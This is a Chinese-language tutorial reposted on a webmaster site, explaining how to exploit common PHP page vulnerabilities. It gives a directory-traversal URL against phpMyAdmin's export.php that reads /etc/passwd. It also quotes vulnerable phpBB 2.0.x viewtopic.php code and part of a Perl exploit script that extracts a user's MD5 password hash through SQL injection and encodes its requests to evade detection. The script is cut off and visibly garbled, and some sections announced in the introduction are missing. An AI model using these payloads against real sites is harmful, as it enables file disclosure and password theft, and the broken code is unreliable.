加入收藏 | 设为首页 | 会员中心 | 我要投稿 温州站长网 (https://www.52wenzhou.com/)- 科技、建站、经验、云计算、5G、大数据,站长网!
当前位置: 首页 > 站长学院 > PHP教程 > 正文

常见php页面漏洞分析及相关问题处理

发布时间:2022-03-03 20:05:48 所属栏目:PHP教程 来源:互联网
导读:从现在的网络安全来看,大家最关注和接触最多的WEB页面漏洞应该是ASP了,在这方面,小竹是专家,我没发言权。然而在PHP方面来看,也同样存在很严重的安全问题,但是这方面的文章却不多。在这里,就跟大家来稍微的讨论一下PHP页面的相关漏洞吧。 我对目前常见
  从现在的网络安全来看,大家最关注和接触最多的WEB页面漏洞应该是ASP了,在这方面,小竹是专家,我没发言权。然而在PHP方面来看,也同样存在很严重的安全问题,但是这方面的文章却不多。在这里,就跟大家来稍微的讨论一下PHP页面的相关漏洞吧。
    
  我对目前常见的PHP漏洞做了一下总结,大致分为以下几种:包含文件漏洞,脚本命令执行漏洞,文件泄露漏洞,SQL注入漏洞等几种。当然,至于COOKIE欺骗等一部分通用的技术就不在这里讨论了,这些资料网上也很多。那么,我们就一个一个来分析一下怎样利用这些漏洞吧!
      
  再然后,我们就来看看文件泄露漏洞了,这种漏洞是由于对用户提交参数缺少充分过滤,远程攻击者可以利用它进行目录遍历攻击以及获取一些敏感信息。我们拿最近发现的phpMyAdmin来做例子。在phpMyAdmin中,export.php页面没有对用户提交的'what'参数进行充分过滤,远程攻击者提交包含多个'../'字符的数据,便可绕过WEB ROOT限制,以WEB权限查看系统上的任意文件信息。比方说打入这样一个地址:export.php?what=../../../../../../etc/passwd 就可以达到文件泄露的目的了。在这方面相对多一点,有:myPHPNuke,McNews等等。
    
  最后,我们又要回到最兴奋的地方了。想想我们平时在asp页面中用SQL注入有多么爽,以前还要手动注入,一直到小竹悟出"SQL注入密笈"(嘿嘿),然后再开做出NBSI以后,我们NB联盟真是拉出一片天空。曾先后帮CSDN,大富翁论坛,中国频道等大型网站找出漏洞。(这些废话不多说了,有点跑题了...)。
     
    好了,我们还是来分析一下漏洞产生的原因吧。拿viewtopic.php页面来说,由于在调用viewtopic.php时,直接从GET请求中获得"topic_id"并传递给SQL查询命令,而并没有进行一些过滤的处理,攻击者可以提交特殊的SQL字符串用于获得MD5密码,获得此密码信息可以用于自动登录或者进行暴力破解。(我想应该不会有人想去暴力破解吧,除非有特别重要的原因)。先看一下相关源代码:
 
  以下为引用的内容:
    #    if ( isset($HTTP_GET_VARS[POST_TOPIC_URL]) )
    #    {
    #       $topic_id = intval($HTTP_GET_VARS[POST_TOPIC_URL]);
    #    }
    #    else if ( isset($HTTP_GET_VARS['topic']) )
    #    {
    #       $topic_id = intval($HTTP_GET_VARS['topic']);
    #    }
 
  从上面我们可以看出,如果提交的view=newest并且sid设置了值的话,执行的查询代码像下面的这个样子(如果你还没看过PHPBB源代码的话,建议你看了再对着这里来看,受影响系统为:phpBB 2.0.5和phpBB 2.0.4)。
 
    
 
  以下为引用的内容:
  #        $sql = "SELECT p.post_id
    #        FROM " . POSTS_TABLE . " p, " . SESSIONS_TABLE . " s, " . USERS_TABLE . " u
    #        WHERE s.session_id = '$session_id'
    #         AND u.user_id = s.session_user_id
    #         AND p.topic_id = $topic_id
    #         AND p.post_time >= u.user_lastvisit
    #        ORDER BY p.post_time ASC
    #        LIMIT 1";
    Rick提供了下面的这断测试代码:
    use IO::Socket;
    $remote = shift || 'localhost';
    $view_topic = shift || '/phpBB2/viewtopic.php';
    $uid = shift || 2;
    $port = 80;
    $dbtype = 'mysql4';   # mysql4 or pgsql
    print "Trying to get password hash for uid $uid server $remote dbtype: $dbtype/n";
    $p = "";
    for($index=1; $index<=32; $index )
    {
    $socket = IO::Socket::INET->new(PeerAddr => $remote,
    PeerPort => $port,
    Proto => "tcp",
    Type => SOCK_STREAM)
    or die "Couldnt connect to $remote:$port : $@/n";
    $str = "GET $view_topic" . "?sid=1&topic_id=-1" . random_encode(make_dbsql()) . "&view=newest" . " HTTP/1.0/n/n";
    print $socket $str;
    print $socket "Cookie: phpBB2mysql_sid=1/n";  # replace this for pgsql or remove it
    print $socket "Host: $remote/n/n";
    while ($answer = <$socket>)
    {
    if ($answer =~ /location:.*/x23(/d )/) # Matches the location: viewtopic.php?p=#
    {
    $p .= chr ();
    }
    }
    close($socket);
    }
    print "/nMD5 Hash for uid $uid is $p/n";
    # random encode str. helps avoid detection
    sub random_encode
    {
    $str = shift;
    $ret = "";
    for($i=0; $i

(编辑:温州站长网)

【声明】本站内容均来自网络,其相关言论仅代表作者个人观点,不代表本站立场。若无意侵犯到您的权利,请及时与联系站长删除相关内容!

    热点阅读